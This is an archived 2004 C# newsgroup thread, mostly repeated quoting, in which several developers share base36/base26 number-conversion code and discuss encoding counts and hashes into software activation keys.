> >> > The notes are extensive as to the direction the library may or may
not
> > go
> >> > depending on what
> >> > problems people are trying to solve. What I've realized is that there
> > are a
> >> > number of additional
> >> > and interesting problems associated with alphabet encoding, such as
> >> > permuations, cyclic
> >> > rotations, error correction, and the like that may be interesting to
> > build
> >> > into the libraries. An
> >> > example of an error correction alphabet would be the base32 encoding
> > which
> >> > removes
> >> > characters that may be confused for other characters when read by a
> > human.
> >> >
> >> >
> >> > --
> >> > Justin Rogers
> >> > DigiTec Web Consultants, LLC.
> >> > Blog: http://weblogs.asp.net/justin_rogers
> >> >
> >> > "Roy Fine" <EMail@HideDomain.com> wrote in message
> >> > news:EMail@HideDomain.com...
> >> >> William
> >> >>
> >> >> The other base was base 26 and used *just* the uppercase alphabetic
> >> >> characters (A..Z). The only change would be to specify the token
set
> > of the
> >> >> number set and the weights of each position. For the Base26 case,
it
> > was
> >> >> this:
> >> >>
> >> >> /* ***************** */
> >> >> public class BASE32{
> >> >> static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> >> >> static long [] powers =
> >> >>
> >
{1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
> >> >>
> >
26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
> >> >>
> >
26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
> >> >> 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
> >> >> ...
> >> >> ...
> >> >> }
> >> >> /* ***************** */
> >> >>
> >> >> conversion is each direction is based on the tokens and powers
arrays.
> > the
> >> >> first entry in the tokens aray always corresponds to the empty or
zero
> >> >> value, etc.
> >> >>
> >> >> happy to help
> >> >> roy
> >> >>
> >> >>
> >> >> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> >> >> news:u$EMail@HideDomain.com...
> >> >>> Hey thanks a lot Roy. Care to post the other base as well? Either
> > way,
> >> >>> thanks again!!
> >> >>>
> >> >>> --
> >> >>> William Stacey, MVP
> >> >>> http://mvp.support.microsoft.com
> >> >>>
> >> >>> "Roy Fine" <EMail@HideDomain.com> wrote in message
> >> >>> news:#EMail@HideDomain.com...
> >> >>> > William,
> >> >>> >
> >> >>> > this is something that i did some time ago - actually for a
> > different
> >> >>> base,
> >> >>> > but it was easy enough to change to handle base32.
> >> >>> >
> >> >>> > you did not specify the symbol set for your number base - i will
> > assume
> >> >>> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens
string
> >> >>> > accordingly.
> >> >>> >
> >> >>> > for performance reasons, the weights of the digits are computed
at
> >> >> compile
> >> >>> > time.
> >> >>> >
> >> >>> > note - there is absolutely no error checking, and it handles only
> >> >> positive
> >> >>> > values, and assumes that all character codes are upper case.
> >> >>> >
> >> >>> > regards
> >> >>> > roy fine
> >> >>> >
> >> >>> >
> >> >>> > namespace CONVERSION{
> >> >>> > // handles positive only values up to 4,738,381,338,321,616,896 -
1;
> >> >>> > public class BASE32{
> >> >>> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> >> >>> > static long [] powers =
> >> >>> >
> >> >>>
> >> >>
> >
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
> >> >>> >
> >> >>>
> >> >>
> >
36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
> >> >>> >
> >> >>>
> >> >>
> >
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
> >> >>> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
> >> >>> >
> >> >>> > public static string ToString(long lval){
> >> >>> > int maxStrLen = powers.Length;
> >> >>> > long curval = lval;
> >> >>> > char [] tb = new char[maxStrLen];
> >> >>> > int outpos = 0;
> >> >>> > for(int i=0; i<maxStrLen; i++){
> >> >>> > long pval = powers[maxStrLen - i - 1];
> >> >>> > int pos = (int)(curval / pval);
> >> >>> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
> >> >>> > curval = curval % pval;
> >> >>> > }
> >> >>> > if(outpos==0) tb[outpos++] = '0';
> >> >>> > return new string(tb,0,outpos).TrimStart('0');
> >> >>> > }
> >> >>> >
> >> >>> > public static long ToLong(string t){
> >> >>> > long ival = 0;
> >> >>> > char [] tb = t.ToCharArray();
> >> >>> > for(int i=0; i<tb.Length; i++){
> >> >>> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
> >> >>> > }
> >> >>> > return ival;
> >> >>> > }
> >> >>> > }
> >> >>> > }
> >> >>> >
> >> >>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> >> >>> > news:uc3%EMail@HideDomain.com...
> >> >>> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
> >> >> routines?
> >> >>> > TIA
> >> >>> > >
> >> >>> > > --
> >> >>> > > William Stacey, MVP
> >> >>> > > http://mvp.support.microsoft.com
> >> >>> > >
> >> >>> >
> >> >>> >
> >> >>>
> >> >>
> >> >>
> >> >
> >> >
> >>
> >>
> >
> >
>
>
|
| |
|
| |
 |
William

|
Posted: Sun Nov 07 20:10:28 CST 2004 |
Top |
Visual C#.Net >> Base36
Thanks Roy. Could you expand the range by also including lower case a-z in
addition to uppercase A-Z?
If so, could you spoon feed me again with the updated logic if possible.
What I am looking to do is:
1) 5 base chars (0..9, a...z, A..Z) for count - max range up to
long.MaxRange if possible. Right now max range of ZZZZZ is 60,466,175.
2) Take a hash of count + some secret string(s) using PasswordDeriveBytes
and convert as many bytes as possible to an alpha base encoding for a max of
"HHHH-HHHH-HHHC-CCCC" (five Count positions and 11 Hash positions) to get a
Product key (e.g. MSs). I should be able to recalc the hash at the client
using stripped out count and the shared secret to verify the calculated hash
matches the hash in the Product Key supplied. May need to break the hash
bytes into two longs (16 bytes) and maybe clear high order byte before the
conversion to long so I can pass each long to the BaseXX converter to get
the string. Right now I can do 7 bytes and be sure to stay in
4738381338321616895 range.
I realize the secret is vulnerable, but think I can make it good enouph for
my needs as just an activation code. Anyway, hope above makes some sense.
Basically looking to encode bigger ranges (max longs or max ulongs, or
doubles if possible) with as few chars as possible in the valid set. Many
thanks again. Cheers.
--
William Stacey, MVP
http://mvp.support.microsoft.com
"Roy Fine" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
>
> "Justin Rogers" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> > Ah, I wasn't aware alerting the author about changes to the code
> > that you've made is a string being attached. The licensing agreement
> > at the top is primarily a joke for all those that read it. It even
> requires
> > that you laugh... I put it there to reduce my own liability and to point
> > out that the software isn't supported. Take it for what you will.
> >
>
> what the "recommended interpretation" of :
>
> <quote>
> The use of this software is for test and performance purposes only.
>
> <\quote>
>
> and
>
> <quote>
> In all seriousness,
> excluding the laughter, laughter in itself does not void this license
> agreement, nor compromise it's ability to legally bind you.
> <\quote>
>
> >
> > --
> > Justin Rogers
> > DigiTec Web Consultants, LLC.
> > Blog: http://weblogs.asp.net/justin_rogers
> >
> > "Roy Fine" <EMail@HideDomain.com> wrote in message
> > news:%EMail@HideDomain.com...
> > >
> > > "Justin Rogers" <EMail@HideDomain.com> wrote in message
> > > news:EMail@HideDomain.com...
> > >> Apparentyly it whacked the link...
> > >>
> > >> http://weblogs.asp.net/justin_rogers/articles/253641.aspx
> > >>
> > >>
> > >
> > > nice - but the code i posted works, begs for a bit of optimization,
but
> > > comes with *no* strings attached.
> > >
> > > rlf
> > >
> > >
> > >
> > >> --
> > >> Justin Rogers
> > >> DigiTec Web Consultants, LLC.
> > >> Blog: http://weblogs.asp.net/justin_rogers
> > >>
> > >>
> > >> "Justin Rogers" <EMail@HideDomain.com> wrote in message
> > >> news:EMail@HideDomain.com...
> > >> > Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for
base2
> > > through
> > >> > base36.
> > >> >
> > >> > The notes are extensive as to the direction the library may or may
> not
> > > go
> > >> > depending on what
> > >> > problems people are trying to solve. What I've realized is that
there
> > > are a
> > >> > number of additional
> > >> > and interesting problems associated with alphabet encoding, such as
> > >> > permuations, cyclic
> > >> > rotations, error correction, and the like that may be interesting
to
> > > build
> > >> > into the libraries. An
> > >> > example of an error correction alphabet would be the base32
encoding
> > > which
> > >> > removes
> > >> > characters that may be confused for other characters when read by a
> > > human.
> > >> >
> > >> >
> > >> > --
> > >> > Justin Rogers
> > >> > DigiTec Web Consultants, LLC.
> > >> > Blog: http://weblogs.asp.net/justin_rogers
> > >> >
> > >> > "Roy Fine" <EMail@HideDomain.com> wrote in message
> > >> > news:EMail@HideDomain.com...
> > >> >> William
> > >> >>
> > >> >> The other base was base 26 and used *just* the uppercase
alphabetic
> > >> >> characters (A..Z). The only change would be to specify the token
> set
> > > of the
> > >> >> number set and the weights of each position. For the Base26 case,
> it
> > > was
> > >> >> this:
> > >> >>
> > >> >> /* ***************** */
> > >> >> public class BASE32{
> > >> >> static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> > >> >> static long [] powers =
> > >> >>
> > >
>
{1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
> > >> >>
> > >
>
26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
> > >> >>
> > >
>
26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
> > >> >> 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
> > >> >> ...
> > >> >> ...
> > >> >> }
> > >> >> /* ***************** */
> > >> >>
> > >> >> conversion is each direction is based on the tokens and powers
> arrays.
> > > the
> > >> >> first entry in the tokens aray always corresponds to the empty or
> zero
> > >> >> value, etc.
> > >> >>
> > >> >> happy to help
> > >> >> roy
> > >> >>
> > >> >>
> > >> >> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> > >> >> news:u$EMail@HideDomain.com...
> > >> >>> Hey thanks a lot Roy. Care to post the other base as well?
Either
> > > way,
> > >> >>> thanks again!!
> > >> >>>
> > >> >>> --
> > >> >>> William Stacey, MVP
> > >> >>> http://mvp.support.microsoft.com
> > >> >>>
> > >> >>> "Roy Fine" <EMail@HideDomain.com> wrote in message
> > >> >>> news:#EMail@HideDomain.com...
> > >> >>> > William,
> > >> >>> >
> > >> >>> > this is something that i did some time ago - actually for a
> > > different
> > >> >>> base,
> > >> >>> > but it was easy enough to change to handle base32.
> > >> >>> >
> > >> >>> > you did not specify the symbol set for your number base - i
will
> > > assume
> > >> >>> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens
> string
> > >> >>> > accordingly.
> > >> >>> >
> > >> >>> > for performance reasons, the weights of the digits are computed
> at
> > >> >> compile
> > >> >>> > time.
> > >> >>> >
> > >> >>> > note - there is absolutely no error checking, and it handles
only
> > >> >> positive
> > >> >>> > values, and assumes that all character codes are upper case.
> > >> >>> >
> > >> >>> > regards
> > >> >>> > roy fine
> > >> >>> >
> > >> >>> >
> > >> >>> > namespace CONVERSION{
> > >> >>> > // handles positive only values up to
4,738,381,338,321,616,896 -
> 1;
> > >> >>> > public class BASE32{
> > >> >>> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> > >> >>> > static long [] powers =
> > >> >>> >
> > >> >>>
> > >> >>
> > >
>
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
> > >> >>> >
> > >> >>>
> > >> >>
> > >
>
36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
> > >> >>> >
> > >> >>>
> > >> >>
> > >
>
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
> > >> >>> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
> > >> >>> >
> > >> >>> > public static string ToString(long lval){
> > >> >>> > int maxStrLen = powers.Length;
> > >> >>> > long curval = lval;
> > >> >>> > char [] tb = new char[maxStrLen];
> > >> >>> > int outpos = 0;
> > >> >>> > for(int i=0; i<maxStrLen; i++){
> > >> >>> > long pval = powers[maxStrLen - i - 1];
> > >> >>> > int pos = (int)(curval / pval);
> > >> >>> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
> > >> >>> > curval = curval % pval;
> > >> >>> > }
> > >> >>> > if(outpos==0) tb[outpos++] = '0';
> > >> >>> > return new string(tb,0,outpos).TrimStart('0');
> > >> >>> > }
> > >> >>> >
> > >> >>> > public static long ToLong(string t){
> > >> >>> > long ival = 0;
> > >> >>> > char [] tb = t.ToCharArray();
> > >> >>> > for(int i=0; i<tb.Length; i++){
> > >> >>> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
> > >> >>> > }
> > >> >>> > return ival;
> > >> >>> > }
> > >> >>> > }
> > >> >>> > }
> > >> >>> >
> > >> >>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in
message
> > >> >>> > news:uc3%EMail@HideDomain.com...
> > >> >>> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
> > >> >> routines?
> > >> >>> > TIA
> > >> >>> > >
> > >> >>> > > --
> > >> >>> > > William Stacey, MVP
> > >> >>> > > http://mvp.support.microsoft.com
> > >> >>> > >
> > >> >>> >
> > >> >>> >
> > >> >>>
> > >> >>
> > >> >>
> > >> >
> > >> >
> > >>
> > >>
> > >
> > >
> >
> >
>
>
|
| |
|
| |
 |
William

|
Posted: Sun Nov 07 21:09:38 CST 2004 |
Top |
Visual C#.Net >> Base36
Thanks Justin. Any chance you could add long and short support, and maybe
arbitrary byte[]s? TIA
For byte[]s I was thinking just converting each byte to base36, but that
results in 2 char min after dec 36. So maybe need to take 4 or 8 bytes at a
time and convert to int or long and convert that to a base to leverage the
resulting chars better - not sure. Any thoughts?
--
William Stacey, MVP
http://mvp.support.microsoft.com
"Justin Rogers" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for base2
through
> base36.
>
> The notes are extensive as to the direction the library may or may not go
> depending on what
> problems people are trying to solve. What I've realized is that there are
a
> number of additional
> and interesting problems associated with alphabet encoding, such as
permuations,
> cyclic
> rotations, error correction, and the like that may be interesting to build
into
> the libraries. An
> example of an error correction alphabet would be the base32 encoding which
> removes
> characters that may be confused for other characters when read by a human.
>
>
> --
> Justin Rogers
> DigiTec Web Consultants, LLC.
> Blog: http://weblogs.asp.net/justin_rogers
>
> "Roy Fine" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> > William
> >
> > The other base was base 26 and used *just* the uppercase alphabetic
> > characters (A..Z). The only change would be to specify the token set of
the
> > number set and the weights of each position. For the Base26 case, it
was
> > this:
> >
> > /* ***************** */
> > public class BASE32{
> > static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> > static long [] powers =
> >
{1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
> >
26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
> >
26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
> > 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
> > ...
> > ...
> > }
> > /* ***************** */
> >
> > conversion is each direction is based on the tokens and powers arrays.
the
> > first entry in the tokens aray always corresponds to the empty or zero
> > value, etc.
> >
> > happy to help
> > roy
> >
> >
> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> > news:u$EMail@HideDomain.com...
> >> Hey thanks a lot Roy. Care to post the other base as well? Either
way,
> >> thanks again!!
> >>
> >> --
> >> William Stacey, MVP
> >> http://mvp.support.microsoft.com
> >>
> >> "Roy Fine" <EMail@HideDomain.com> wrote in message
> >> news:#EMail@HideDomain.com...
> >> > William,
> >> >
> >> > this is something that i did some time ago - actually for a different
> >> base,
> >> > but it was easy enough to change to handle base32.
> >> >
> >> > you did not specify the symbol set for your number base - i will
assume
> >> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
> >> > accordingly.
> >> >
> >> > for performance reasons, the weights of the digits are computed at
> > compile
> >> > time.
> >> >
> >> > note - there is absolutely no error checking, and it handles only
> > positive
> >> > values, and assumes that all character codes are upper case.
> >> >
> >> > regards
> >> > roy fine
> >> >
> >> >
> >> > namespace CONVERSION{
> >> > // handles positive only values up to 4,738,381,338,321,616,896 - 1;
> >> > public class BASE32{
> >> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> >> > static long [] powers =
> >> >
> >>
> >
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
> >> >
> >>
> >
36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
> >> >
> >>
> >
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
> >> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
> >> >
> >> > public static string ToString(long lval){
> >> > int maxStrLen = powers.Length;
> >> > long curval = lval;
> >> > char [] tb = new char[maxStrLen];
> >> > int outpos = 0;
> >> > for(int i=0; i<maxStrLen; i++){
> >> > long pval = powers[maxStrLen - i - 1];
> >> > int pos = (int)(curval / pval);
> >> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
> >> > curval = curval % pval;
> >> > }
> >> > if(outpos==0) tb[outpos++] = '0';
> >> > return new string(tb,0,outpos).TrimStart('0');
> >> > }
> >> >
> >> > public static long ToLong(string t){
> >> > long ival = 0;
> >> > char [] tb = t.ToCharArray();
> >> > for(int i=0; i<tb.Length; i++){
> >> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
> >> > }
> >> > return ival;
> >> > }
> >> > }
> >> > }
> >> >
> >> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> >> > news:uc3%EMail@HideDomain.com...
> >> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
> > routines?
> >> > TIA
> >> > >
> >> > > --
> >> > > William Stacey, MVP
> >> > > http://mvp.support.microsoft.com
> >> > >
> >> >
> >> >
> >>
> >
> >
>
>
|
| |
|
| |
 |
Justin

|
Posted: Sun Nov 07 21:20:51 CST 2004 |
Top |
Visual C#.Net >> Base36
> <quote>
> The use of this software is for test and performance purposes only.
>
> <\quote>
That is to prevent users from holding me liable for putting the code
directly into a production system and having it fail. Because I don't
mention derived works (and this is from my lawyer, I figured I'd
give him a call just to make sure) you could put any derived works
into a production system.
> <quote>
> In all seriousness,
> excluding the laughter, laughter in itself does not void this license
> agreement, nor compromise it's ability to legally bind you.
> <\quote>
Lawyer just laughed and noted that such jargon would not make this
any more legally binding than me walking up to you on the street and
telling you that I'd copyrighted your name and you were no longer
allowed to be called Roy. Sorry you took it out of scope.
--
Justin Rogers
DigiTec Web Consultants, LLC.
Blog: http://weblogs.asp.net/justin_rogers
|
| |
|
| |
 |
Justin

|
Posted: Sun Nov 07 21:54:11 CST 2004 |
Top |
Visual C#.Net >> Base36
I'll go ahead and add some additional types. That is a a fairly easy process. I
need to put some thought into the byte array. Base64 encoding uses a special
padding character to overcome some of the issues you are noting below.
Version 1.1 is posted at the space with all of the base types added.
--
Justin Rogers
DigiTec Web Consultants, LLC.
Blog: http://weblogs.asp.net/justin_rogers
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Thanks Justin. Any chance you could add long and short support, and maybe
> arbitrary byte[]s? TIA
> For byte[]s I was thinking just converting each byte to base36, but that
> results in 2 char min after dec 36. So maybe need to take 4 or 8 bytes at a
> time and convert to int or long and convert that to a base to leverage the
> resulting chars better - not sure. Any thoughts?
> --
> William Stacey, MVP
> http://mvp.support.microsoft.com
>
> "Justin Rogers" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
>> Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for base2
> through
>> base36.
>>
>> The notes are extensive as to the direction the library may or may not go
>> depending on what
>> problems people are trying to solve. What I've realized is that there are
> a
>> number of additional
>> and interesting problems associated with alphabet encoding, such as
> permuations,
>> cyclic
>> rotations, error correction, and the like that may be interesting to build
> into
>> the libraries. An
>> example of an error correction alphabet would be the base32 encoding which
>> removes
>> characters that may be confused for other characters when read by a human.
>>
>>
>> --
>> Justin Rogers
>> DigiTec Web Consultants, LLC.
>> Blog: http://weblogs.asp.net/justin_rogers
>>
>> "Roy Fine" <EMail@HideDomain.com> wrote in message
>> news:EMail@HideDomain.com...
>> > William
>> >
>> > The other base was base 26 and used *just* the uppercase alphabetic
>> > characters (A..Z). The only change would be to specify the token set of
> the
>> > number set and the weights of each position. For the Base26 case, it
> was
>> > this:
>> >
>> > /* ***************** */
>> > public class BASE32{
>> > static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>> > static long [] powers =
>> >
> {1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
>> >
> 26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
>> >
> 26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
>> > 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
>> > ...
>> > ...
>> > }
>> > /* ***************** */
>> >
>> > conversion is each direction is based on the tokens and powers arrays.
> the
>> > first entry in the tokens aray always corresponds to the empty or zero
>> > value, etc.
>> >
>> > happy to help
>> > roy
>> >
>> >
>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>> > news:u$EMail@HideDomain.com...
>> >> Hey thanks a lot Roy. Care to post the other base as well? Either
> way,
>> >> thanks again!!
>> >>
>> >> --
>> >> William Stacey, MVP
>> >> http://mvp.support.microsoft.com
>> >>
>> >> "Roy Fine" <EMail@HideDomain.com> wrote in message
>> >> news:#EMail@HideDomain.com...
>> >> > William,
>> >> >
>> >> > this is something that i did some time ago - actually for a different
>> >> base,
>> >> > but it was easy enough to change to handle base32.
>> >> >
>> >> > you did not specify the symbol set for your number base - i will
> assume
>> >> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
>> >> > accordingly.
>> >> >
>> >> > for performance reasons, the weights of the digits are computed at
>> > compile
>> >> > time.
>> >> >
>> >> > note - there is absolutely no error checking, and it handles only
>> > positive
>> >> > values, and assumes that all character codes are upper case.
>> >> >
>> >> > regards
>> >> > roy fine
>> >> >
>> >> >
>> >> > namespace CONVERSION{
>> >> > // handles positive only values up to 4,738,381,338,321,616,896 - 1;
>> >> > public class BASE32{
>> >> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>> >> > static long [] powers =
>> >> >
>> >>
>> >
> {1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
>> >> >
>> >>
>> >
> 36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
>> >> >
>> >>
>> >
> 36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
>> >> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
>> >> >
>> >> > public static string ToString(long lval){
>> >> > int maxStrLen = powers.Length;
>> >> > long curval = lval;
>> >> > char [] tb = new char[maxStrLen];
>> >> > int outpos = 0;
>> >> > for(int i=0; i<maxStrLen; i++){
>> >> > long pval = powers[maxStrLen - i - 1];
>> >> > int pos = (int)(curval / pval);
>> >> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
>> >> > curval = curval % pval;
>> >> > }
>> >> > if(outpos==0) tb[outpos++] = '0';
>> >> > return new string(tb,0,outpos).TrimStart('0');
>> >> > }
>> >> >
>> >> > public static long ToLong(string t){
>> >> > long ival = 0;
>> >> > char [] tb = t.ToCharArray();
>> >> > for(int i=0; i<tb.Length; i++){
>> >> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
>> >> > }
>> >> > return ival;
>> >> > }
>> >> > }
>> >> > }
>> >> >
>> >> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>> >> > news:uc3%EMail@HideDomain.com...
>> >> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
>> > routines?
>> >> > TIA
>> >> > >
>> >> > > --
>> >> > > William Stacey, MVP
>> >> > > http://mvp.support.microsoft.com
>> >> > >
>> >> >
>> >> >
>> >>
>> >
>> >
>>
>>
>
|
| |
|
| |
 |
Roy

|
Posted: Sun Nov 07 21:47:28 CST 2004 |
Top |
Visual C#.Net >> Base36
William,
With your new base of 26+26+10=62, the max range for 5 digits is now 26^5 -
1, or 916,132,831.
max long is 9,223,372,036,854,775,807. Seems that what you are looking for
is 5 digits of some base that get close to max long. In other words, x^5 =
y, where y = 9,223,372,036,854,775,807.
Solving for x, we get ln(x) = ln(9,223,372,036,854,775,807) / 5, or
x = e^(ln(9,223,372,036,854,775,807) / 5),
or x = 6,208. Base 6208 is not easily representable with our standard
VT-100 vintage keyboards :(
I can find roughly 84 usable characters on my keyboard - the biggest number
that I can express in Base78 is 4,182,119,423. Here is the corresponding
code:
static string tokens =
"0123456789!@#$%^&*()_+=-<>?/.,:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQ
RSTUVWXYZ";
static long [] powers =
{1L,84L,84L*84L,84L*84L*84L,84L*84L*84L*84L,84L*84L*84L*84L*84L,84L*84L*84L*
84L*84L*84L,84L*84L*84L*84L*84L*84L*84L,84L*84L*84L*84L*84L*84L*84L*84L,84L*
84L*84L*84L*84L*84L*84L*84L*84L};
But - I don't think you want all those silly characters in the product key.
If you want to map 5 characters to a number in the range of
(0..long.MaxValue), consider using base 36 (0..9,A..Z) to represent a seed
value, then use that seed in a simple random number generator (of linear
congruential type). In its simplest form, the expansion could be nothing
more than:
ulong sval = x*84589UL+45989UL;
where x is the value from the 5 Base36 characters, and sval is some really
big number:
/* ***************************** */
string tstr = "ZZZZZ";
ulong x = CONVERSION.BASE.ToLong(tstr);
ulong sval = x*84589UL+45989UL;
Console.WriteLine("real big value: {0}",sval);
/* ***************************** */
As you quickly see, this is a one way mapping - i.e. not a symmetrical
process.
If you want more control over the generation - rather you want a bit more
randomness that is not as easily recognizable, consider a 28 or 32 bit
linear feedback shift register (if 32, then consider taps at 32,7,5,3,2,1
and 0). Load the value from the base 36 representation as the initial
condition, and then shift out as much precision as you need (64 shifts gives
you the range of 0..long.MaxValue).
I don't know if this helps - but it is an interesting exercise.
regards
roy fine
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Thanks Roy. Could you expand the range by also including lower case a-z
in
> addition to uppercase A-Z?
> If so, could you spoon feed me again with the updated logic if possible.
> What I am looking to do is:
> 1) 5 base chars (0..9, a...z, A..Z) for count - max range up to
> long.MaxRange if possible. Right now max range of ZZZZZ is 60,466,175.
> 2) Take a hash of count + some secret string(s) using PasswordDeriveBytes
> and convert as many bytes as possible to an alpha base encoding for a max
of
> "HHHH-HHHH-HHHC-CCCC" (five Count positions and 11 Hash positions) to get
a
> Product key (e.g. MSs). I should be able to recalc the hash at the client
> using stripped out count and the shared secret to verify the calculated
hash
> matches the hash in the Product Key supplied. May need to break the hash
> bytes into two longs (16 bytes) and maybe clear high order byte before the
> conversion to long so I can pass each long to the BaseXX converter to get
> the string. Right now I can do 7 bytes and be sure to stay in
> 4738381338321616895 range.
>
> I realize the secret is vulnerable, but think I can make it good enouph
for
> my needs as just an activation code. Anyway, hope above makes some sense.
> Basically looking to encode bigger ranges (max longs or max ulongs, or
> doubles if possible) with as few chars as possible in the valid set. Many
> thanks again. Cheers.
>
> --
> William Stacey, MVP
> http://mvp.support.microsoft.com
>
> "Roy Fine" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> >
> > "Justin Rogers" <EMail@HideDomain.com> wrote in message
> > news:EMail@HideDomain.com...
> > > Ah, I wasn't aware alerting the author about changes to the code
> > > that you've made is a string being attached. The licensing agreement
> > > at the top is primarily a joke for all those that read it. It even
> > requires
> > > that you laugh... I put it there to reduce my own liability and to
point
> > > out that the software isn't supported. Take it for what you will.
> > >
> >
> > what the "recommended interpretation" of :
> >
> > <quote>
> > The use of this software is for test and performance purposes only.
> >
> > <\quote>
> >
> > and
> >
> > <quote>
> > In all seriousness,
> > excluding the laughter, laughter in itself does not void this license
> > agreement, nor compromise it's ability to legally bind you.
> > <\quote>
> >
> > >
> > > --
> > > Justin Rogers
> > > DigiTec Web Consultants, LLC.
> > > Blog: http://weblogs.asp.net/justin_rogers
> > >
> > > "Roy Fine" <EMail@HideDomain.com> wrote in message
> > > news:%EMail@HideDomain.com...
> > > >
> > > > "Justin Rogers" <EMail@HideDomain.com> wrote in message
> > > > news:EMail@HideDomain.com...
> > > >> Apparentyly it whacked the link...
> > > >>
> > > >> http://weblogs.asp.net/justin_rogers/articles/253641.aspx
> > > >>
> > > >>
> > > >
> > > > nice - but the code i posted works, begs for a bit of optimization,
> but
> > > > comes with *no* strings attached.
> > > >
> > > > rlf
> > > >
> > > >
> > > >
> > > >> --
> > > >> Justin Rogers
> > > >> DigiTec Web Consultants, LLC.
